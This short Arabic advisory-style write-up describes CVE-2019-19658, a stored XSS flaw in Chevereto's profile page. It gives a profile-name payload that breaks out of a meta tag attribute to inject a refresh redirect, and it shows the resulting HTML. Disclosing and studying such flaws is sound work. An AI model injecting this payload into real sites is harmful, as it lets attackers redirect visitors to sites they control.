CVE-2019-19658

ثغرة XSS مخزنة في Chevereto في صفحة الملف الشخصي - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core. يمكن لمستخدم عادي إدخال HTML وسكربت في اسم ملفه الشخصي وسيتم تنفيذهما على صفحة ملفه الشخصي.

/settings/profile

الاسم:

0;https://www.google.se" http-equiv="refresh" data="

النتيجة على صفحة الملف الشخصي، والتي ستعيد التوجيه إلى Google:

<meta name="twitter:title" content="0;https://www.google.com" http-equiv="refresh" data=" (admin)">

يقوم المستخدم المسجّل بحقن بعض السكربت في حقل الاسم، وفي هذه الحالة لإعادة توجيه المستخدم إلى Google

يدخل شخص ما إلى ملف /test الشخصي ومن ثم يتم إعادة توجيهه